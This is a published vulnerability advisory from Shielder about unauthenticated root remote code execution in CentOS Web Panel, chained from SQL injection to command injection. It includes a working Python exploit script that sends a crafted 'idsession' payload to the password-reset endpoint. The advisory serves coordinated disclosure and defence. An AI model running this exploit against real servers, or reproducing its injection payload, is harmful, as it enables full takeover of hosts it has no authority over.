ADVISORY

DATE

12 APRIL 2021

CentOS Web Panel idsession root Remote Code Execution

Summary

The unprivileged user portal part of CentOS Web Panel is affected by SQL Injection and Command Injection vulnerabilities, leading to root Remote Code Execution.

Product Description (from vendor)

"CentOS Web Panel – a Free Web Hosting control panel designed for quick and easy management of (Dedicated & VPS) servers minus the chore and effort to use ssh console for every time you want to do something, offers a huge number of options and features for server management in its control panel package". For more information visit http://centos-webpanel.com/.

CVE(s)

- CVE-2021-31316
- CVE-2021-31324

Details

Root Cause Analysis

During the password reset procedure, which is available by default at `http://cwp.local:2083/login/index.php?acc=newpass`, it is possible to inject additional SQL query parameters via the `idsession` HTTP POST parameter.

By injecting additional query results, it is possible to inject shell commands in the subsequent `shell_exec` call and gain complete control over the CentOS Web Panel host (it runs with root privileges).

Proof of Concept

```python
#!/usr/bin/env python
#
# this script contains an unauthenticated RCE exploit for Centos Web Panel
# since the user-panel code is not versioned, it is not clear when the
# vulnerabilities have been introduced
#
# usage: $0.py [-h] -rh RHOST [-rp RPORT] [-c CMD]
#
# optional arguments:
#   -h, --help            show this help message and exit
#   -rh RHOST, --rhost RHOST
#                         remote host ip/hostname
#   -rp RPORT, --rport RPORT
#                         remote port
#   -c CMD, --cmd CMD     shell command to execute
#
# example run:
# $ ./$0.py --rh cwp.local -c 'sleep 6'
# [+] Sending request...
# [*] Endpoint returned status code 200 after 6.13947 seconds
#
# polict

from sys import exit
import requests, base64
from argparse import ArgumentParser
requests.packages.urllib3.disable_warnings()

parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost",
                    help="remote host ip/hostname", required=True)
parser.add_argument("-rp", "--rport", dest="rport",
                    default=2083, help="remote port")
parser.add_argument("-c", "--cmd", dest="cmd", default="sleep 5",
                    help="shell command to execute")
args = parser.parse_args()

payload = str(base64.b64encode("abc\" UNION SELECT 'a','b','c','d','+1 day','f'-- p\";" + args.cmd +
";#`||a||b||c||d".encode("utf-8")))
idsession = "a' UNION SELECT'a','b','c','" + payload + "','e','f'-- p"
post_data = {"pass1": "c3VwZXJwYXNzd29yZA==", "idsession": idsession}

print("[+] Sending request...")
response = requests.post("https://{}:{}/login/index.php?acc=newpass".format(args.rhost, args.rport),
                         data=post_data, verify=False)
if response.text == "1":
    print("[*] Endpoint returned status code {} after {} seconds".format(response.status_code,
                                                                         response.elapsed.total_seconds()))
    exit(0)
else:
    print("[-] Exploit failed.")
```

Impact

A remote unauthenticated attacker can gain root remote access to the CentOS Web Panel host.

Remediation

Upgrade to the latest version of CentOS Web Panel available. (Note: the affected code is not versioned and we didn't verify the patch.)

Disclosure Timeline

- 2/12/2020: Reported to vendor
- 25/03/2021: Vendor confirms the issues have been fixed and releases a patched version
- 12/04/2021: Shielder's advisory is made public

Credits

- `polict` of Shielder

This advisory was first published on https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/

INFO

Shielder S.r.l.

P.I. 11435310013

REA TO - 1213132

Registered Capital: 81.000,00 €

Via Palestro, 1/C
10064 Pinerolo (TO) Italy

CONTACTS

info@shielder.com

Landline: (+39) 0121 - 39 36 42

Commercial: (+39) 345 - 30 31 983

Technical: (+39) 393 - 16 66 814

SITEMAP

Disclosure policy

Privacy policy